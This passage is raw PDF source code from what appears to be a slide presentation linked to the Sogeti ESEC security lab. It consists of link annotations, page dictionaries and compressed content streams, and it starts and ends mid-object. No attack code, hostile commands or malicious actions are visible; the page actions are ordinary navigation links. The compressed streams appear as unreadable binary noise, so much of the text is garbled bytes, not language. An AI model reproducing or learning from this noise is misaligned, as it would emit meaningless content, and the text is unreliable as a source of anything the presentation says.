nj6{#!jw38I)E҇Z诨簀4{,rҎ` N ٱ=}21hLK5Y cd> endobj 957 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 172.918 167.034 184.921 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 958 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 146.577 151.749 158.022 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 959 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 121.61 101.969 131.123 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 960 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 92.779 253.638 104.223 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 961 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 49.467 82.756 97.058 91.573 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 962 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 49.467 70.801 164.763 79.618 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 963 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 964 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 965 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 966 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 967 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 968 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 969 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 970 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 971 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 972 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 973 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 974 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 975 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 976 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 977 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 978 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 979 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 980 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 981 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 982 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 983 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 984 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 985 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 986 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 987 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 988 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 989 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 990 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 991 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm15 244 0 R /Fm8 169 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 992 0 obj << /Type /Page /Contents 993 0 R /Resources 991 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 922 0 R /Annots [ 963 0 R 964 0 R 965 0 R 966 0 R 967 0 R 968 0 R 969 0 R 970 0 R 971 0 R 972 0 R 973 0 R 974 0 R 975 0 R 976 0 R 977 0 R 978 0 R 979 0 R 980 0 R 981 0 R 982 0 R 983 0 R 984 0 R 985 0 R 986 0 R 987 0 R 988 0 R 989 0 R 957 0 R 958 0 R 959 0 R 960 0 R 961 0 R 962 0 R 990 0 R ] /AA << /O << /S /GoTo /D [ 1032 0 R /Fit ] >> >> >> endobj 993 0 obj << /Length 1943 /Filter /FlateDecode >>stream xZKs7 WTh[[ǙfrhlʲKmycWڒM2IFK@B7j | E k ډ۱8x`ғ2FA(ozqkNݤ MccPMZte +UjhG*- clL F_'^VZ:4T$=DӾ+{NPi;ib# os#.C#> Z"H4 z7 qNTYAhHʒB]b}UiLXc\(Ecdo R& 0:ˠӵ4zRE8uG48lҒD"kϩA!}M o YI-ފeю>e%] *uي;Ob}V. ՙ89Ш\d$4"@cuֵ*'(;6QJxT(˨R@!֌ rZ(QF!UFBJ:F(6E`T)(S~{sFe²7C,}m0Aъn-M}[$pBdIq.xyИ[ Oٟx<gm!$eݥg}-*'wf9n 9dmY|X{Dʣc؄LCˈ'\Z`HTv\ZRzFg<`!YQ^b(p GСсML:%S.lsrrWv23zѐ %4#⎌mHhf[@, 3 f:;j k XSCң-b6ԀB@.q]3!U>pd@c{4JTVF־_ :R->uŐTdgrz~b,62ͧQsۡQAX$QkҡrZj t7Ia?Iާ*^TK'V|^ Ƀ6#_(DbDMseW7 |PHr82}੻pRFXU,b`@G *FGFp!0Nn1RAެ\HA1m̮I8GC88{N()K p;ȷyCSy E[= daI^?ۄA|4_p\Ɇc1^vf1OoX}Nɩr2uJb2WFo fx!|vl^ ΰf$afh>NwY]]qg97|BVRqJk3K52.Hm݊ dWP"d4`%&.$=^g tNK)1GQ9G3#@_d9]* 3\9}^T"0*-VjYVMf oa9@LɰoT/_ש"i~t)Hp/'b`)y9z/gSf{&c|w T[ꐞ~j׼* endstream endobj 994 0 obj << /D [ 992 0 R /XYZ 334.488 1.245 null ] >> endobj 995 0 obj << /D [ 1032 0 R /XYZ 334.488 1.245 null ] >> endobj 996 0 obj << /D [ 1103 0 R /XYZ 334.488 1.245 null ] >> endobj 997 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 172.918 167.034 184.921 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 998 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 146.577 151.749 158.022 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 999 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 121.61 101.969 131.123 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1000 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 92.779 253.638 104.223 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1001 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 49.467 82.756 97.058 91.573 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1002 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 49.467 70.801 164.763 79.618 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1003 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 1004 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1005 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 1006 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1007 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1008 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1009 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1010 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1011 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1012 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1013 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1014 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1015 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 1016 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1017 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1018 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1019 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1020 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1021 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 1022 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 1023 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 1024 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 1025 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 1026 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1027 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1028 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1029 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1030 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1031 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm15 244 0 R /Fm8 169 0 R /Fm20 641 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 1032 0 obj << /Type /Page /Contents 1033 0 R /Resources 1031 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 922 0 R /Annots [ 1003 0 R 1004 0 R 1005 0 R 1006 0 R 1007 0 R 1008 0 R 1009 0 R 1010 0 R 1011 0 R 1012 0 R 1013 0 R 1014 0 R 1015 0 R 1016 0 R 1017 0 R 1018 0 R 1019 0 R 1020 0 R 1021 0 R 1022 0 R 1023 0 R 1024 0 R 1025 0 R 1026 0 R 1027 0 R 1028 0 R 1029 0 R 997 0 R 998 0 R 999 0 R 1000 0 R 1001 0 R 1002 0 R 1030 0 R ] /AA << /O << /S /GoTo /D [ 1065 0 R /Fit ] >> >> >> endobj 1033 0 obj << /Length 1947 /Filter /FlateDecode >>stream xZKo7WT"CrȭAm U]wfؕRbIp >ÙIJSKo7)Je0^KNL1BX|p֋^uq 36A5iޞc6DT[x٘(IA{O8Z:4T$=DޞcTbB#MlDa6bo,vQAjU+$xcA@6fe!s+K MtIسR1 .Qt}_2)dLmA` t&A݉I[y3AsgfvT=N$o@} HO}$4:5M (oh=-bo϶ĭ! Nf.LZғ#Ã=(ob!+V#[Ѿ,ѾSVUٮRg%_doJ?lķ3L#PcS E\HFBc!4Hp!(m8A߱R£Di.JPW[36(iQVB5(3ԅZOE{*ip )(RJA՘ cU7(k`k VtmTo7g}jeVIE:\oUOc[JuMue_s"iZQU$$c,FMli1rd'%():tu=CcqMN[:@Z= Yn&9fsasz{:9XǰfaiX#}rCl5L9cGCea`D-}Q=KMH3niu=( /I7$=5KB}7YS ~zZ%4-h s7nOd&YJx vhi>LrQsn&rs#,bh2ZMH#:0 Qe,cb?9K@ù0vl繶l4i..ۦJDUns }NP4J;rW2 e^ _ o\]AcroOf Ezs-8_o<U endstream endobj 1034 0 obj << /D [ 1032 0 R /XYZ 334.488 1.245 null ] >> endobj 1035 0 obj << /D [ 1065 0 R /XYZ 334.488 1.245 null ] >> endobj 1036 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 1037 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1038 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 1039 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1040 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1041 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1042 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1043 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1044 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1045 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1046 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1047 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1048 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 1049 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1050 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1051 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1052 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1053 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1054 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 1055 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 1056 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 1057 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 1058 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 1059 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1060 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1061 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1062 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1063 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1064 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F63 525 0 R /F69 778 0 R /F66 559 0 R /F15 155 0 R /F56 205 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm18 561 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm8 169 0 R /Fm9 170 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 1065 0 obj << /Type /Page /Contents 1066 0 R /Resources 1064 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 922 0 R /Annots [ 1036 0 R 1037 0 R 1038 0 R 1039 0 R 1040 0 R 1041 0 R 1042 0 R 1043 0 R 1044 0 R 1045 0 R 1046 0 R 1047 0 R 1048 0 R 1049 0 R 1050 0 R 1051 0 R 1052 0 R 1053 0 R 1054 0 R 1055 0 R 1056 0 R 1057 0 R 1058 0 R 1059 0 R 1060 0 R 1061 0 R 1062 0 R 1063 0 R ] /AA << /O << /S /GoTo /D [ 1103 0 R /Fit ] >> >> >> endobj 1066 0 obj << /Length 2910 /Filter /FlateDecode >>stream xr7]_1PU;C\éTʱ-۩ƖC45U!lo䈱)ŎV*r th<ȴUe*ٲ&/>Y DZZ%tut!.5B "Di袄I -4Ȝ~YZZ[x71t>;@֛ PqqRT} :6m(%@7'Y$f1Ig׈9}g\O$$fa>.,& ҤFy%@oSfCApgy('i|0fU܃UO0ɟ%P cҢ @RA- cmc|,CRxHve\Cdᕓ^3i#  T3hl-f 5 <5,Δ)I5FM0n"J6>T &0ZQMQ[ R@SJKMIJGd5(Sc'fIRƦRUգd{!эyp!rd΃zźw U9xY= YrpJ!vi vI q6rZyxz0,Q$pbxZgYW>Z戤ydanL~GUUHPd1N_.ߕYzr2}tݥJ,_B%@fep2Y?h.NE(v#`iKg #Tߨh$p&<#yW8=j&Q]pnćQ HS=s_:c {mxgm+wgm#NQ MT Pm1x<E]T/ .C5]Tw(3]TӇZQUvB#M+DlxAk/ZPcӀ{"/Oi`g|1Uq@?_V䖜vbRpWs$m9' K+Ӓ~~#Fq?_eA.\ioAd! Q.(/д:V 10..))#$aN pEXhh954 E#8$±H 4+i:_p_dy6(upye2֫|!:yX9~kPRZQ2ջU)S\ƢRmh=ZP1HeŻ'atIEvǣ(Z;Ę,(<)R f8^oMs5q&#q~tfiә <Ӵ\`>"sTU-@'MRKWM3b/lDVZc4[FTŚ{Ǜ+V M TGXu}sV kBTJDLǵ5]J/\GźViOzdF5vH4m]<:U ?QJwKU;,ݫ"]e5]B> endobj 1068 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 172.918 167.034 184.921 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 1069 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 146.577 151.749 158.022 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 1070 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 121.61 101.969 131.123 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1071 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 92.779 253.638 